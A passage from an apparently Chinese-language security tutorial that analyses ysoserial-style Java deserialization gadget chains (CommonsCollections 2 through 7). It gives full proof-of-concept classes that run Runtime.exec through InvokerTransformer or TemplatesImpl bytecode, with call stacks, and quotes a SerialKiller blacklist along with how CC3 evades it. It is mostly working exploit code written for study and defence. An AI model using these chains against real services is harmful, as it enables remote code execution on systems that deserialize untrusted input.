                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue queue = new PriorityQueue(2,comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

注意,类 org.apache.commons.collections4.comparators.TransformingComparator,在 commons-collections4.0 以前是版本中是没有实现 Serializable 接口的,无法在序列化中使用。

CommonsCollections3(…→TrAXFilter→InstantiateTransformer)

2015 年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。开发者们⾃然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。

SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <blacklist>
	<!-- ysoserial's CommonsCollections1 payload  -->
        <regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>	
	<!-- ysoserial's CommonsCollections2 payload  -->
        <regexp>^org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
	<!-- ysoserial's Groovy payload  -->	
        <regexp>^org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>	
        <regexp>^org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>	
	<!-- ysoserial's Spring1 payload  -->
	<regexp>^org\.springframework\.beans\.factory\.ObjectFactory$</regexp>	
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

这个黑名单中 InvokerTransformer 赫然在列,也就切断了 CommonsCollections1 的利⽤链。有攻就有防,ysoserial 随后增加了不少新的 Gadgets,其中就包括 CommonsCollections3。

CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer 的限制。CommonsCollections3 并没有使用到 InvokerTransformer 来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了我们使用 InvokerTransformer 手工调用 newTransformer() 方法这一步:

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer(); // <---
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

我们可以构造如下 ChainedTransformer

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
};

poc 如下,这个是基于 CC1 的 LazyMap 链,其实这里可以自由组合其他的链,只要能调用到 transform 方法即可。

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}),
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(handler);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
...
newInstance:408, Constructor (java.lang.reflect)
transform:106, InstantiateTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:349, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:53, CommonsCollections3 (com.example)

CommonsCollections4(CC2+TrAXFilter)

在 CC2 的基础上借助 TrAXFilter+TemplatesImpl 加载字节码绕过对 InvokerTransformer 的过滤,另外我把 TrAXFilter.class 存到 PriorityQueue 中可以避免 Transformer 数组。

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        setFieldValue(queue, "queue", new Object[]{TrAXFilter.class, TrAXFilter.class});
        setFieldValue(queue, "size", 2);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
...
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
...
main:40, CommonsCollections4 (com.example)

CommonsCollections5(BadAttributeValueExpException→TiedMapEntry)

javax.management.BadAttributeValueExpException 在反序列化 readObject 时如果满足 System.getSecurityManager() == null 条件时会对其中的 val 成员调用 toString 方法。

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

TiedMapEntrytoString 方法最终会调用到 map.get 方法,正好可以与 LazyMap 的利用链结合。

    public Object getValue() {
        return map.get(key);
    }
    
    public String toString() {
        return getKey() + "=" + getValue();
    }

POC 如下:

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(outerMap, "sky");
        outerMap.clear();
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setFieldValue(exception, "val", entry);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(exception);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:132, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
...
main:41, CommonsCollections5 (com.example)

CommonsCollections6(HashMap→TiedMapEntry→LazyMap)

org.apache.commons.collections.keyvalue.TiedMapEntryhashCode 方法会调用到内部成员 mapget 方法,如果 mapLazyMap 修饰过就可以调用到 transform 方法。

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return key;
    }

    public Object getValue() {
        return map.get(key);
    }
    
	...

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

	...
}

java.util.HashMap#readObject 方法会对 key 调用 hash 方法,进而调用 keyhashCode 方法。

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        ...

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

poc 如下:

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(outerMap, "sky");
        Map triggerMap = new HashMap();
        triggerMap.put(entry, "123");
        outerMap.clear();
        
        setFieldValue(transformerChain, "iTransformers", transformers);
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(triggerMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
...
main:34, CommonsCollections6 (com.example)

需要注意的是 HashMapput 方法同样对 key 调用 hash 方法,进而调用 keyhashCode 方法。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

因此在 poc 中当我们 triggerMap.put(entry, "123") 时会调用 TiedMapEntry.hashCode 从而调用 LazyMap.get,使得 TiedMapEntry.key 已经放到 TiedMapEntry.map 中了,因此会导致后续反序列化无法虽然调用到 LazyMap.get,但是调用不到 transform 方法。解决方法是调用 LazyMap.clear 清空 LazyMap

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

CommonsCollections7(Hashtable→LazyMap)

HashtablereadObject 调用 reconstitutionPut 函数将反序列化出的键值对存储到哈希表 table 中。

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();
        ...
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

reconstitutionPut 函数先对传入的 key 调用 hashCode 方法得到哈希值,然后计算出哈希值对应哈希表的下标 index。在哈希表 tab 中遍历 index 对应的那一项中的每一个元素 e,然后判断该元素的哈希值与当前要添加的那一项的哈希值是否相等。如果哈希值相等则调用 e.key.equals 方法。

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) { // 如果哈希值相等则对哈希表中的 key 调用 equals 方法。
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

对于 HashMapLazyMap 有如下继承关系:

可以看到,HashMap 继承于 AbstraceMapLazyMap 继承于 AbstractMapDecorator

因此如果 HashTable 中的 key 都是 LazyMap 修饰的 HashMap 那么 e.key.equals 最终会调用 LazyMap#get 进而触发 transform 方法调用。

	// AbstraceMap
    public boolean equals(Object o) {
        if (o == this) // 确保不是同一个 LazyMap 对象
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key))) // 调用 LazyMap#get
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

	// AbstractMapDecorator
    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

根据前面的分析可知我们可以在 Hashtable 放两个键值对满足两个键哈希值相同但不是同一个的 LazyMap 对像。而 LazyMap 的哈希值实际上就是 Map 中所有「键和值的哈希的异或值」之和。

    // Object
    public static int hashCode(Object o) {
        return o != null ? o.hashCode() : 0;
    }
	
	// HashMap$Node (Map.Entry)
    public final int hashCode() {
        return Objects.hashCode(key) ^ Objects.hashCode(value);
    }

	// AbstraceMap
    public int hashCode() {
        int h = 0;
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext())
            h += i.next().hashCode();
        return h;
    }

	// AbstractMapDecorator
    public int hashCode() {
        return map.hashCode();
    }

key.hashCode();

我们不妨让键值对中的值相等,那么就只需要考虑找哈希相等且值不同的键。

我们选择 java.lang.String 类型的键,这个类型的 hashCode 实现如下,我们很容易就想到可以构造长度为 2 的字符串,然后通过前一个字符的 ascii 码加 1 然后后一个字符的 ascii 码减 31 抵消前一个字符的影响来得到两个哈希相同的字符串(例如 Aa[65,97][65+1,97-31][66,66]BB)。

    public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

完整 poc 如下:

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
